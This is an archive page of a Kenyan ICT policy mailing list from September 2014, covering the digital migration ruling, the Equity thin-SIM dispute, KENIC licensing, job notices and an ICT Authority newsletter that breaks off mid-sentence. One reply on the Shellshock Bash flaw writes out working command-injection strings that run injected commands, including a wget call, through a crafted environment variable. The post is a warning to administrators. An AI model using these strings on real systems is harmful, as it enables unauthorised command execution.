Rachel (or anyone else with this info), I have quickly looked through the summary and I haven't found anywhere indicating when the Supreme Court ordered the cut off to digital should be. Do you know if this was actually set by the court or was it left to CA to decide. Thank you. From: Alwala, Rachel [mailto:Alwala@ca.go.ke] Sent: Tuesday, September 30, 2014 7:49 PM To: Bernard Kioko; KICTAnet ICT Policy Discussions Subject: RE: [kictanet] Digital Migration Ruling Bernard and colleagues, Please find attached, the ruling and the summary handed to media for your information. Regards, Rachel From: kictanet [mailto:kictanet-bounces+alwala=cck.go.ke@lists.kictanet.or.ke] On Behalf Of Bernard Kioko via kictanet Sent: 30 September 2014 19:33 To: Alwala, Rachel Subject: [kictanet] Digital Migration Ruling Hi all, Could anyone kindly share the digital migration case ruling document made yesterday. Regards _____ <http://bernsoft.com/img/logo.jpg> This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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Re: [kictanet] Digital Migration Ruling
by Bernard Kioko 30 Sep '14

30 Sep '14

Thank you so much Rachel. Really helpful. Regards From: Alwala, Rachel [mailto:Alwala@ca.go.ke] Sent: Tuesday, September 30, 2014 7:49 PM To: Bernard Kioko; KICTAnet ICT Policy Discussions Subject: RE: [kictanet] Digital Migration Ruling Bernard and colleagues, Please find attached, the ruling and the summary handed to media for your information. Regards, Rachel From: kictanet [mailto:kictanet-bounces+alwala=cck.go.ke@lists.kictanet.or.ke] On Behalf Of Bernard Kioko via kictanet Sent: 30 September 2014 19:33 To: Alwala, Rachel Subject: [kictanet] Digital Migration Ruling Hi all, Could anyone kindly share the digital migration case ruling document made yesterday. Regards _____ <http://bernsoft.com/img/logo.jpg> This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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Digital Migration Ruling
by Bernard Kioko 30 Sep '14

30 Sep '14

Hi all, Could anyone kindly share the digital migration case ruling document made yesterday. Regards -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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Fwd: IHRDA Vacancy for Publication and Communication Officer
by Ephraim Percy Kenyanito 29 Sep '14

29 Sep '14

Please share with your respective networks. Ephraim Percy Kenyanito -------- Forwarded Message -------- Subject: IHRDA Vacancy for Publication and Communication Officer Date: Mon, 29 Sep 2014 18:12:59 +0000 From: Institute for Human Rights and Development in Africa Reply-To: Institute for Human Rights and Development in Africa To: *|Ephraim Percy Kenyanito| VACANCY ANNOUNCEMENT Publications and Communications Officer The Institute for Human Rights and Development in Africa (IHRDA) seeks an experienced publications and communications officer to effectively publicize its exciting work and to manage its publications. IHRDA was founded in 1997 as a pan-African non-governmental organization, based in The Gambia, to enhance the use and effectiveness of African regional human rights mechanisms through legal advocacy, capacity building, research and publications, and cooperation with the African regional human rights system. The publications and communications Officer should start work in January 2015. The Publications and Communications officer will: 1. Develop and implement publication and communication strategies; 2. Write and disseminate press releases, news articles, electronic newsletters and other publicity material; 3. In consultation with IHRDA programme staff, plan, organize and edit all IHRDA publications, both electronic and hard copy; 4. Manage the IHRDA’s case law analyser (CLA); 5. Liaise with printers/suppliers on production management; 6. Publicise and ensure wide and relevant distribution of the IHRDA’s publications; 7. Write website content and ensure regular updating of the website; 8. Develop and maintain contacts with various stakeholders and partners; 9. Manage the IHRDA’s documentation centre, maintaining the organization of printed material and identifying new information likely to be of interest to staff working on the main programme areas of IHRDA; 10. Assist in fundraising activities, including grant writing; 11. Perform administrative tasks relating to the post. Qualifications 1. A bachelors degree; 2. Excellent writing, editing and speaking skills in English and or in French; a good working knowledge of the other language is an important asset. Knowledge of another African Union language an advantage; 3. Ability to transform complex texts into reader-friendly documents for a pan -African audience and to proof-read translations for obvious errors; 4. At least three years demonstrated experience with publications and relevant experience in media relations and NGO an advantage; 5. Excellent computer and internet skills, especially related to the production of publications, and experience writing for the web. Proficiency with Windows, Microsoft Office, graphic design and web publishing products essential; 6. Ability to work with minimum supervision within a multicultural team; Compensation is very competitive and is tax-free. Retirement benefits and family health coverage is provided. Interested candidates are invited to submit: a letter of motivation; a recent CV; three writing samples and a list of 3 referees who are not related to the candidate. Please note that only short listed candidate will be contacted. Closing date for applications is 31^st October 2014 Kindly send your application and all relevant documents to recruitment(a)IHRDA.org (mailto:recruitment@IHRDA.org) For additional information please contact Mr. Henry Annoh at hannoh(a)ihrda.org (mailto:hannoh@ihrda.org) . IHRDA is committed to equal opportunities. Women candidates are encouraged to apply. ============================================================ Copyright © 2014 IHRDA, All rights reserved.

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Role of ICT's for Persons with Disabilities: http://www.unesco-ci.org/ict-pwd/
by Du Toit, Jaco 29 Sep '14

29 Sep '14

Dear colleagues, UNESCO, in close cooperation with international, regional, and national partners, is organizing the International conference "From Exclusion to Empowerment: The Role of Information and Communication Technologies for Persons with Disabilities" from 24 to 26 November 2014, in New Delhi, India. Interested partners who would like to be part of this international event that contains the international conference, film festival, and exhibition on ICTs for inclusion of persons with disabilities, can obtain more information at the following URL: The speakers will be policy and decision makers, industry representatives, research community, information and media professionals, filmmakers and producers, persons with disabilities, and civil society members. Regards Jaco ------------------------------------------------- Jaco DU TOIT Adviser for Communication & Information UNESCO Regional Office for Eastern Africa United Nations Avenue, UNON, Gigiri (Room C-209) P.O. Box 30592-00100, Nairobi, Kenya Tel: +254 (0)20 762 2346/2566 Fax +254 (0)20 762 2750 Email:j.dutoit@unesco.org, Website: http://www.unesco.org/new/en/nairobi

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SwahiliBox: The next major thing in Technology in Mombasa
by Ahmed Mohamed Maawy 29 Sep '14

29 Sep '14

It is with great joy that we break the news to the Technology and Business Community in Mombasa. The news that the time has arrived, for Mombasa to join forces with Nairobi and become a regional technology giant. Our website <http://swahilibox.co.ke/> is coming soon! We take this opportunity to announce the SwahiliBox, Mombasa's upcoming Technology Open Space - that will work in close collaboration with the iHub and other important technology players in the Market. After years of hard work and effort we have a shot. And we expect to have a space of its kind in Africa. Mombasa is aligned to be one of Africa's Digitally Relevant Cities. Do take this opportunity to become one of the pioneer community members, and become a part of what is going to be one of the most interesting technology hubs in Africa: 1. Fill in this form to get enrolled: https://docs.google.com/forms/d/1dJYnNEMyD54T_K22Zy5zzAAmpMBYqpa7Q8gIjYTSCh… 2. Follow SwahiliBox on Facebook: https://www.facebook.com/SwahiliBox 3. Follow SwahiliBox on Twitter: https://twitter.com/SwahiliBox SwahiliBox <http://swahilibox.co.ke/> is a project of M-Power <http://m-power.or.ke/>. Original blog post here <http://m-power.or.ke/blog/2014/09/swahilibox-the-next-major-thing-in-techno…> . -- Ahmed Maawy Shaper - Global Shapers Executive Director - M-Power (CBO) Ambassador - Open Knowledge CTO - D8A, Appfrica Labs (KE) +254 714 960 627 Skype: ultimateprogramer www.globalshapers.org <http://globalshapers.org/> www.okfn.org <http://okfn.org/> www.d8a.com www.appfrica.com www.apps4africa.org

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Re: [kictanet] [Skunkworks] Bash Code Injection Vulnerabilty (CVE-2014-6271)
by Gichuki John Chuksjonia 28 Sep '14

28 Sep '14

This Vulnerability is worse than Heartbleed, even after patching Bash, you can still inject into it. rm -f echo && env -i X='() { (a)=>\' bash -c 'echo date'; cat echo rm -f echo && env -i X='() { (a)=>\' bash -c 'echo ls -la'; cat echo rm -f echo && env -i X='() { (a)=>\' bash -c 'echo wget http://my.co.ke/'; Be prepared to patch, and still watch your systems, and patch later on, when a full one is released. On 9/26/14, Amarjit Labhuram via skunkworks <skunkworks(a)lists.my.co.ke> wrote: > To the linux admins, > > here is some more info on Shellshock. > http://www.bbc.com/news/technology-29361794/ > > Have a great day! > > Warm regards, > Amarjit Singh Labhuram. > > On Thu, Sep 25, 2014 at 5:08 PM, Laban Mwangi via skunkworks < > skunkworks(a)lists.my.co.ke> wrote: > >> Any thing that uses bash (Linux/FreeBSD/OSX/Cygwin)... Potentially, this >> includes your home router (dlink, linksys)! >> >> On Thu, Sep 25, 2014 at 8:38 AM, Bwana Lawi via skunkworks < >> skunkworks(a)lists.my.co.ke> wrote: >> >>> If you are using Red Hat products, please have this patched. >>> >>> Read more here. >>> >>> _______________________________________________ >>> skunkworks mailing list >>> skunkworks(a)lists.my.co.ke >>> ------------ >>> List info, subscribe/unsubscribe >>> http://lists.my.co.ke/cgi-bin/mailman/listinfo/skunkworks >>> ------------ >>> >>> Skunkworks Rules >>> http://my.co.ke/phpbb/viewtopic.php?f=24&t=94 >>> ------------ >>> Other services @ http://my.co.ke >>> >> >> >> _______________________________________________ >> skunkworks mailing list >> skunkworks(a)lists.my.co.ke >> ------------ >> List info, subscribe/unsubscribe >> http://lists.my.co.ke/cgi-bin/mailman/listinfo/skunkworks >> ------------ >> >> Skunkworks Rules >> http://my.co.ke/phpbb/viewtopic.php?f=24&t=94 >> ------------ >> Other services @ http://my.co.ke >> > -- -- Gichuki John Ndirangu, C.E.H , C.P.T.P, O.S.C.P I.T Security Analyst and Penetration Tester jgichuki at inbox d0t com {FORUM}http://lists.my.co.ke/pipermail/security/ http://chuksjonia.blogspot.com/

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CA (K) Licensing of KENIC Status
by Odhiambo Washington 26 Sep '14

26 Sep '14

Listers, Sometime back in January,CCK (currently CA) had a stakeholder consultation in regards to KENIC licensing. I came across the attached minutes indicating there was a task-force put in place to ensure this process is expedited and that there are new members to the KENIC Board to take it to the next level - we all do know how badly it's been doing - most of this is in the public domain. I am also meant to understand that there was a meeting scheduled for 15th September 2014 that was cancelled last minute without any explanation. Anyone here knows why that happened? Maybe the DG of CA (K) can shed some light on this?? Can we be told what is the status of this licensing of KENIC. Looks like this a chapter that should have been closed a long time ago. Who should be in the board of KENIC? TESPOK, DRAKE? Or is CA wanting to license and regulate itself? -- Best regards, Odhiambo WASHINGTON, Nairobi,KE +254733744121/+254722743223 "I can't hear you -- I'm using the scrambler."

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Equity Given Go Ahead by CAK
by Bernard Kioko 26 Sep '14

26 Sep '14

I have noted media reports indicating Equity has been granted go-ahead by CAK to operate with Thin-Sim cards. Game changing I suppose. -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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Is it Consumer Safety or Competition between Safaricom & Equity?
by Bernard Kioko 26 Sep '14

26 Sep '14

So I have been watching and reading the debate on thin-sim and the drama got me thinking about something.. Almost every Kenyan bank today is running a USSD mobile banking service. When you dial that number (eg *111#) ..and you enter your PIN to transact... your PIN is transported between your phone and your bank in an open text (clear text aka no encryption) that can be read easily. I am sure both Safaricom and Equity know this for a fact. With this understanding, is the thin-sim card discussion really about the security for consumer or is it market-share politics? Can the two companies not find a secure work around if it really is about security? Imagine if CCK / Central Bank had refused MPESA citing consumer security because they could tell of the many mpesa fraudsters reported daily. Further, can CCK not "order" safaricom to open their sim card (subject to commercial terms) for more SimToolkit applications in which case Equity Mobile Money services would sit right next to MPESA menu on that same sim card (and perhaps there would have been no need for a new MVNO - ok so am being too ambitious!). Isn't the big deal Equity's desire to enter the Mobile Money market and for those following closely, you know the difference between "M-Shwari" and the now almost dead "M-Kesho" What are your thoughts? -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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Re: [kictanet] House team halts Equity Bank's thin-SIM rollout
by ngethe.kariuki2007 26 Sep '14

26 Sep '14

Walu, , Listers, Victor is right . The spirit of the law is very clear. CAK has even shielded further by ensuring that they are not funded by the exchequer. The drafters of KICA right from 1998 were very clear on this "in order to create investor confidence that licensing will not be at the whims of particular interests". In any case nearly all technologies have inherent risk.That is why INSURANCE INDUSTRY thrives. I would love to meet experts who know of a risk free technology! John Kariuki Sent from Samsung Mobile -------- Original message -------- From: Walubengo J via kictanet <kictanet(a)lists.kictanet.or.ke> Date: To: ngethe.kariuki2007(a)yahoo.co.uk Subject: Re: [kictanet] House team halts Equity Bank's thin-SIM rollout @Victor, Completely agree....but as they say money can get another lawyer to script an equally convincing submission - but for parliamentary intervention (the law is an ass?) Some said we have had judicial activism and now we seem to experiencing parliamentary activism. The interesting part is that Equity is the only guy in town who can stare at Safaricom anywhere anytime. Be it at the Regulator, in Parliament, in Court, in Statehouse, or in Mars. I will wear my helmet because it does look like it might get bloody sooner than I thought :-) walu. -------------------------------------------- On Wed, 9/24/14, Victor Kapiyo via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Subject: Re: [kictanet] House team halts Equity Bank's thin-SIM rollout To: jwalu(a)yahoo.com Date: Wednesday, September 24, 2014, 6:07 PM My reading of this is that Parliament when drafting S. 5A of KICA was very clear in its intention to give CAK independence and shield it from influence from government, political or commercial interests in the exercise of its powers and in the performance of its functions. The influence referred to in S. 5A also includes influence of Parliament or its committees (and whichever other interest is pulling strings in the committee). Such that the committee cannot lawfully direct CAK to halt the process, or halt the process itself especially on a matter which the law clearly states that is within CAKs mandate. Can Parliament request, yes. Is this a request? That's debatable and will depend on a good reading of the communication from the committee to CAK. And as such the press report maybe misleading. The question of sovereignty, while is material is irrelevant to the extent that the same Parliament has already drafted laws empowering CAK to act independently. Nothing stops Parliament or any Kenyan from questioning decisions of CAK, which ideally can always be done in a court of law or in the court of public opinion, depending on the level of interest. Parliamentary committees also need to understand that there is a limit to their powers under the Constitution and Standing orders, and should guard against acting ultra vires. My advise to CAK and Parliament is to read the law and follow it - Which in effect means to act independently. Victor Victor Kapiyo, LL.B ==================================================== “Your attitude, not your aptitude, will determine your altitude” Zig Ziglar On 24 September 2014 15:38, Consumers Federation of Kenya (COFEK) via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Dear Victor, They DO!! It is obviously a fallacy that non-technical people make decisions on technical issues. But we are not a banana republic – at least on paper. If you read Art.1(2) of the Constitution – those characters hold enormous powers. They make the law for regulator in line with Art.34 (recall CA is not a Chapter 15 Commission and “independence” is limited). “The people may exercise their sovereign power either directly or through their “democratically” elected representatives” Art. 1(3)(a) says sovereign power is delegated …. To Parliament and the legislative assemblies in the County Governments. Also read Art. 95 and 96 and so on” Kind regards,Stephen Stephen MutoroSecretary GeneralConsumers Federation of Kenya (COFEK)Rehema Place, Block F-45Ngong Road/Ring Rd Kilimani JunctionP.O Box 28053-00200, City Square, NAIROBI, Kenya Tel. 254-20-2615496, 2300859 Fax. 254-20-3861719; Cell phones: 0715555550, 0770700007E-mail: hotline(a)cofek.co.keWebsite: www.cofek.co.keFacebook: "Consumers Federation of Kenya (Cofek)" Twitter: @ConsumersKenya YouTube: "ConsumersKenya" 13th December 2012 - President Kibaki assents to the Consumer Protection Act, 2012 Read it here: http://www.cofek.co.ke/Consumers%20Protection%20Act%202012.pdf From: kictanet [mailto:kictanet-bounces+hotline=cofek.co.ke@lists.kictanet.or.ke] On Behalf Of Victor bwire via kictanet Sent: Wednesday, September 24, 2014 5:22 PM To: The Consumers Federation of Kenya (Cofek) Subject: Re: [kictanet] House team halts Equity Bank's thin-SIM rollout Dear Grace the House Team has no supervisory powers over the Regulator- Not at all Just that MPs have become terrible regards Victor On Wed, Sep 24, 2014 at 4:47 PM, Grace Githaiga via kictanet <kictanet(a)lists.kictanet.or.ke> wrote:@ Victor, The heading of this article says the 'house team halts..." while the body of the story has "has asked CA to halt..." It might be semantics but my interpretation of this is that this is a request to CA, and not a directive. Yes? Tell me, does the house team have oversight over regulatory matters? I am looking at KICA 2013 Article 5 on CA's independence: 5A. (1) The Authority shall be independentand free of control by government, political orcommercial interests in the exercise of itspowers and in the performance of its functions. (2) In fulfilling its mandate, the Authorityshall be guided by the national values andprinciples of governance in Article 10 and thevalues and principles of public service in Article232 (1) of the Constitution. What would happen say if CA disregards the House team's demand? RgdsGG Date: Wed, 24 Sep 2014 11:54:17 +0100 Subject: Re: [kictanet] Equity Given Go Ahead by CAK From: kictanet(a)lists.kictanet.or.ke To: ggithaiga(a)hotmail.comThe tables have turned again: House team halts Equity Bank's thin-SIM rollout The National Assembly’s Energy and ICT Committee has asked the Communications Authority (CA) to halt Equity Bank thin-SIM card rollout until it is satisfied of the security of the technology. http://www.nation.co.ke/news/politics/House-team-halts-Equity-Bank-thin-SIM… Victor Kapiyo, LL.B ==================================================== “Your attitude, not your aptitude, will determine your altitude” Zig Ziglar On 22 September 2014 18:49, Martin Gicheru via kictanet <kictanet(a)lists.kictanet.or.ke> wrote:Safaricom does not necessarily agree to the move but will cooperate while it still needs to. ”We are particularly encouraged that CA has commenced the process of hiring an independent and reputable international firm to conduct a security audit on all SIM cards, and in particular the use of the SIM overlay technology in mobile money transfer services. We therefore implore the CA to fast track the security review and to publish the guidelines in the interests of protecting consumers and financial institutions who will remain vulnerable to the potential risks created by the ‘man-in-the-middle attack’. ” http://techmoran.com/safaricom-remains-adamant-thin-sim-vulnerabilities/ On Mon, Sep 22, 2014 at 6:36 PM, Bernard Kioko via kictanet <kictanet(a)lists.kictanet.or.ke> wrote:Change is the only permanent thing! -----Original Message----- From: kictanet [mailto:kictanet-bounces+bkioko=bernsoft.com@lists.kictanet.or.ke] On Behalf Of Walubengo J via kictanet Sent: Monday, September 22, 2014 6:30 PM To: bkioko(a)bernsoft.com Subject: Re: [kictanet] Equity Given Go Ahead by CAK @Charles, Interesting views. I dont speak for Equity - and am not even a MEMBER (their customer). However, they have the following going for them. 1) they do have their OWN SIM card targetting their 8m banking customers. They can actually make money out their core group of customers using their mobile virtual network (riding on Airtel telco infrastructure i believe). 2) the thin-SIM technology is just a nice option for their 8m customers AND the 20+million Safaricom customers. 3) indeed Safcom can play dirty but I am sure they wont because (a) they can take on Equity challenge and (b) the regulator seems more ready than ever to pounce on them (recall regulator has been "looking" for them over quality issues :-). Remember, this looks like a mobile money battle, but the real deal is the collateral damage it is likely to cause in the voice market because once a Safaricom customer mounts the thin SIM Card and discovers that they can make cheaper calls/sms with it without losing their MPESA functionality...they will actually be having their cake (MPESA) while eating it (making Cheaper calls on the Equity Mobile virtual network). Essentially, Equity is breaking a small gap into the Safaricom defensive wall(MPESA) and once in, even the data-market may eventually be free for all i.e. #checkmate. walu. -------------------------------------------- On Mon, 9/22/14, Charles Kimani via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Subject: Re: [kictanet] Equity Given Go Ahead by CAK To: jwalu(a)yahoo.com Date: Monday, September 22, 2014, 4:44 PM I think the thin sim strategy is brilliant...in theory. However, I am also wondering just how wise it is to place the success of your business model at the mercy of a hostile, powerful and uncooperative business rival. What if - 6 months after launch, for example - Safaricom decide to upgrade all their sim cards (genuinely or otherwise) just when Equity is in the middle of a critical (probably expensive) product rollout? What if Safaricom customer service and dealer/retail channels start advising subscribers who are having issues with their lines that the thin sim is the cause of their problems and show them how to remove it? How will Equity map their processes and logistics with the Safaricom SIM replacement processes? Will Equity subscribers need to remember to make an extra stop at an Equity outlet to have their thin sim re-attached once they do a sim swap? How easy is it to attach these thin sims? We have previously seen smart sabotage tactics bring down SAB Miller ambitions in the Kenyan market. Equity - in my opinion - is giving too much firepower to a determined competitor. It might be cheaper in the long run to just invest in own SIM and take Safaricom head-on. Regards,Charles On Mon, Sep 22, 2014 at 4:18 PM, Dennis Kioko via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Meanwhile, I did get the Equitel SIM Card (haven't seen the infamous Thin SIM). So far, here's my experience with the same. http://www.infotake.co.ke/2014/09/how-does-equity-banks-equitel-work.h tml On 22 September 2014 16:11, Barrack Otieno via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Sometimes diversification leads to loss of focus. Interesting discussions but let us see if this scenario will change some of this Principles that have evolved over time. Best Regards On Mon, Sep 22, 2014 at 3:56 PM, Bernard Kioko via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: I have noted media reports indicating Equity has been granted go-ahead by CAK to operate with Thin-Sim cards. Game changing I suppose. This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. 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Support Elimu TV
by Network of non- formal Educational institutions 24 Sep '14

24 Sep '14

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Would Mpesa fair better as its own corporate entity? [Archive Content]
by Mbugua Njihia 24 Sep '14

24 Sep '14

I have held the opinion that Mpesa would have fared better as it's own independent entity outside the confines of Voda globally - http://www.mbuguanjihia.com/business/would-mpesa-fair-better-as-its-own-cor…

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FW: ICT Authority Newsletter September 2014
by Grace Githaiga 23 Sep '14

23 Sep '14

A new study has just detailed the key ingredients for any country that aims to become an ICT hot spot. The summary of it, being linked to a country's ability to invest in research and development activities, the ability to take knowledge to the market( innovation) and to building an intense business activity around this innovation. Notably, the EU sponsored report says that "You don't have to be big to succeed!" These are important points to ponder for anyone interested in the growth of the ICT Industry in Kenya. As the ICT Authority, we have a big agenda to grow the sector through investing in local capacity. We are very aware that we cannot do this alone. First, we need to create long-term policies on research and innovation, strengthen the Public-Private- Partnerships engagements and also work with our education institutions to churn out highly skilled graduates. In other words, no one is too small in this industry. We need to all work together to achieve the goal of ICT contributing to 8 per cent of our national income in the next few years. If you ask me, this is double if we enhance collaboration and partnerships. Talk to us. Victor Kyalo Ag. Chief Executive Officer, We have commenced implementation of the approved ICTA organization structure, starting with filling of the director level positions. In line with our mandate the positions cover Shared services-Infrastructure, applications and Information Security--, Programmes and standards, Partnerships, Capacity, Innovation and ICT service Management. The vacancies were advertised through PWC who are our recruitment agency for this exercise on 25 June 2014 ( Page 52 of the Daily Nation) This exercise was directed by the HR Board Committee. Interviews were conducted and the process will be completed during this quarter. You may be aware that government websites have experienced security challenges over the last few months. This has called for concerted efforts to deal with these glitches. To deal comprehensively with the issues, we started by conducting an audit of Government websites. The audit revealed that in their present state, many of the government websites do not conform to the standards and they are not secure.Read more Refer to Web Standards and Domain Strategy Get more Information Are you a cyber-security enthusiast? Enroll for a 3-day training from 1st to 3rd October at the University of Nairobi, C4Dlab. Registration and more details at c4dlab With an investment of Ksh 50,000, you will get the technical know-how on cyber risks and its management. Participants also get to build their careers in this marketable field and also become part of a community of security experts. The training, a partnership between ICT Authority and C4Dlab is meant to build capacity in Online Security. In July 2014, 17 people were awarded certificates after completing the course. Refer to 1st programme press release SAP Skills for Africa Scholarships 2014 Commences The second round for SAP Skills for Africa Scholarships commenced early September. The Program that was launched in 2013 through a partnership between ICT Authority and SAP is giving recent graduates interested in finance and business development an opportunity to kick start their careers. Successful candidates will get a fully-paid SAP scholarship, certification and internships placement after successful completion. The 8-week program, which will be carried out at Technobrain offices in Nairobi expects to train at least 100 students per year. The training, worth an estimated USD 6,000 per student, will be offered on scholarship to unemployed talented university graduates. Read more Get more information: FAQs Watch 2013 SAP Skills for Africa Program Documentary What 2013 beneficiaries had to say Check out some case studies from 2013 Good news for ICT Infrastructure growth. The official launch of Phase II will take place in Wote, Makueni County on Friday 26th September 2014. Read More The ICT Authority has partnered with OLX and other stakeholders to launch an online safety consumer education campaign dubbed 'Kaa Ridhoo'. The initiative will be unveiled end of September, 2014 in Nairobi. Read More Soon Kenyans will be served within minutes of submission of a birth certificate request. This is an improvement of the process that currently takes days. A project to digitize and automate births and deaths records has been undergoing at The Ministry of State for Immigration and registration of persons; Civil Registry Department.Read more Watch Documentary here View latest photos here Pasha centres will from October be part of the Intel® "She Will Connect program" which aims at getting more women to utilize technology and the internet. Read more Are you an ICT Stakeholder? Talk to us At the end of August, ICTA reached out to stakeholders to collaborate on various initiatives. The first engagement was with heads of ICT Associations that aimed at appraising insiders on the latest going-ons in the Authority as well as orient them on the ICT Authority bill. Read summary of meeting here.. Top executives form taskforce to look into youth ICT talent development. The meeting with CIOs was held end of August and sought to deliberate on collaborating in the development of requisite skills for the ICT sector. Attendees were addressed by the Cabinet Secretary, Dr Fred Matiangi and ICTA Ag CEO, Mr Victor Kyalo. At the event conclusion an 8-member advisory team was constituted to guide on the program roll-out. Read more Strathmore University's Centre of Excellence for Oracle opens at @iLabAfrica The centre was launched on 10th September at Strathmore University. This was made possible through an Oracle Grant which supported the strategy to increase the Oracle skills pool in Kenya. Read more Counties now map way forward to ICT Roadmaps The County Executive Members for ICT met in Mombasa from the 10th to 12th September 2014. The main purpose of the workshop was to assist the executives to understand the role of the National Government with regard to the roll out of IFMIS and understand the general life-cycle of ICT development within the County with specific reference to Enterprise Resource Planning (ERP) systems. Read more More info View photo Payments at Nairobi City County go Online Nairobi residents can now expect easy, fast, secure and personalized services from the Nairobi City County. The county in June launched a personalized and user-friendly online platform http:// www.nairobi.go.ke , with several services payable online. Services offered include single business permits, land rates and parking fees payments. Others earmarked in coming months are market rates, application for building permits and advertisements payments. Read more Engineering graduates get opportunity to build vital skills In August 2014, ICT Authority teamed up with Huawei technologies with the aim of equipping engineering students with practical on-the-job skills. We received an overwhelming response for the internships by the deadline date. After review, 37 students have been recommended for face-to-face interviews. An additional 6 who had already completed their studies and are waiting to graduate have also been proposed for interviews. Those who pass the test and the interview will secure a 2-months internship and training at Huawei.Read more Call to Innovators: Apply for Innovation Prize for Africa It is said that only the wearer of a shoe knows where it pinches the most. That's why we are advocating for African-focused solutions from African themselves. If you share in this vision, Innovation Prize for Africa is looking to reward you. Submit your innovative solution to innovation prize for africa by 31st October 2014 and stand a chance to win US$ 150,000. Read more Applications open from Bill & Melinda Gates Foundation The Bill & Melinda Gates Foundation is inviting applications to the Grand Challenges Explorations grants, for solutions in global health and development. Apply at www.grandchallenges.org/explorations Deadline is November 12, 2014. Read more 1) OLX Kenya Social Media Awards, 3rd October, Nairobi The awards, now on the 2nd year aims to celebrate the contribution of social media in the social, economic and 